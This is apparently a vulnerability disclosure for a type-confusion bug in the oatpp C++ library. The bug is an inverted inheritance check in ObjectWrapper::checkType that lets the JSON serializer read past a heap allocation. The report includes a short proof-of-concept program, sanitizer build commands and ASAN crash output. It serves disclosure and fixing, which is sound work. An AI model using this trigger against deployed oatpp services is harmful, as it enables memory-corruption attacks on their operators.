Type confusion in 'ObjectWrapper::checkType'
Summary
checkType is the guard that ObjectWrapper::operator= runs before overwriting a wrapper's pointer. It asks whether destination type extends the source type, which is backwards. it is that the check accepts exactly the unsafe direction and rejects the safe one: an Object<Base> value is accepted into an Object<Derived> field, while Object<Derived> into Object<Base> throws. The assignment copies m_ptr and leaves m_valueType alone, so the field ends up tagged Derived while pointing at a Base allocation, and the JSON serializer then walks Derived's property table over it.
Details
checkType (src/oatpp/data/type/Type.hpp:570):
570 void ObjectWrapper<T, Clazz>::checkType(const Type* _this, const Type* other) {
571 if(!_this->extends(other)) {
572 throw std::runtime_error("[oatpp::data::type::ObjectWrapper::checkType()]: Error. "
573 "Type mismatch: stored '" + std::string(_this->classId.name) + "' vs "
574 "assigned '" + std::string(other->classId.name) + "'.");
575 }
576 }The only caller that matters is operator= (Type.hpp:193), which passes destination first:
193 inline ObjectWrapper& operator=(const ObjectWrapper& other){
194 checkType(m_valueType, other.m_valueType);
195 m_ptr = other.m_ptr;
196 return *this;
197 }so _this is the slot being written and other is the incoming value. _this->extends(other) therefore means "is the destination a subtype of the source", which is the condition for a downcast, not for a safe assignment.
Type::extends walks the parent chain (Type.cpp):
bool Type::extends(const Type* other) const {
const Type* curr = this;
while(curr != nullptr) {
if(curr == other) return true;
curr = curr->parent;
}
return false;
}and parent is inheritance for DTOs. DTO_INIT(Derived, Base) sets it, and the header says so at Type.hpp:469: ("setting parent type also means that child object can be statically casted to parent type without any violations." )So this is an inheritance relation check that has its operands swapped, not a bespoke tag comparison.
operator= does not touch m_valueType. That is deliberate for the intended (upcast) case, where the declared type is the more general one and should be preserved. With the direction inverted it becomes the bug: the wrapper keeps the Derived tag while m_ptr now points at a Base. Everything downstream trusts the tag. ObjectToTreeMapper::mapObject pulls the property list from it (ObjectToTreeMapper.cpp:259) and reads each field through it (:272), which for a Derived with more fields than Base runs off the end of the Base allocation.
Two other guards in the tree have the same inversion. ObjectWrapper::cast at Type.hpp:559 and Bundle::get at Bundle.hpp:71 and are reported separately. Any::retrieve (Any.cpp:73) is the one place that gets it right: m_ptr->type->extends(type), actual extends requested.
PoC
poc_ObjectWrapper_checkType.cpp:
class Base : public oatpp::DTO {
DTO_INIT(Base, DTO)
DTO_FIELD(String, a);
};
class Derived : public Base {
DTO_INIT(Derived, Base)
DTO_FIELD(String, f0); /* ... f1 .. f9 ... */
};
auto holder = Holder::createShared(); // Holder has one field: Object<Derived> child
auto base = Base::createShared(); // Base-sized heap block
oatpp::Void baseErased = base; // tag = Object<Base>
// Object.hpp:420 hands back ObjectWrapper<void>& onto the `child` field.
// Type.hpp:194 checkType(Object<Derived>, Object<Base>) -> Derived extends Base -> Passes.
// Only m_ptr is overwritten; the field keeps its Object<Derived> tag.
holder[std::string("child")] = baseErased;
oatpp::json::ObjectMapper mapper;
auto json = mapper.writeToString(holder); // serializer walks Derived's fields over BaseBuild and run:
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
-fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
poc_ObjectWrapper_checkType.cpp liboatpp.a -lpthread -o poc_ObjectWrapper_checkType
ASAN_OPTIONS=halt_on_error=0 UBSAN_OPTIONS=halt_on_error=0 ./poc_ObjectWrapper_checkTypeliboatpp.a must be built with the same sanitizer flags. Use -fsanitize-recover=all rather than -fno-sanitize-recover=all.
ASAN output:
==3009049==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b8c129e0238 ...
READ of size 8 at 0x7b8c129e0238 thread T0
[...]
#2 in oatpp::data::type::ObjectWrapper<void, __class::Void>::getPtr() const src/oatpp/data/type/Type.hpp
#3 in oatpp::data::type::Void::Void(Void const&) src/oatpp/data/type/Type.hpp
#4 in oatpp::data::type::BaseObject::get(long) const src/oatpp/data/type/Object.cpp:39:10
#5 in oatpp::data::type::BaseObject::Property::get(BaseObject*) const src/oatpp/data/type/Object.cpp
#6 in oatpp::data::mapping::ObjectToTreeMapper::mapObject(...) src/oatpp/data/mapping/ObjectToTreeMapper.cpp
#7 in oatpp::data::mapping::ObjectToTreeMapper::map(...) src/oatpp/data/mapping/ObjectToTreeMapper.cpp
[...]
0x7b8c129e0238 is located 0 bytes after 56-byte regionImpact
OOB read, and the same mis-tagged wrapper reaches Property::set on the deserialize path. This is a plain inheritance relation issue.
Source: oatpp/oatpp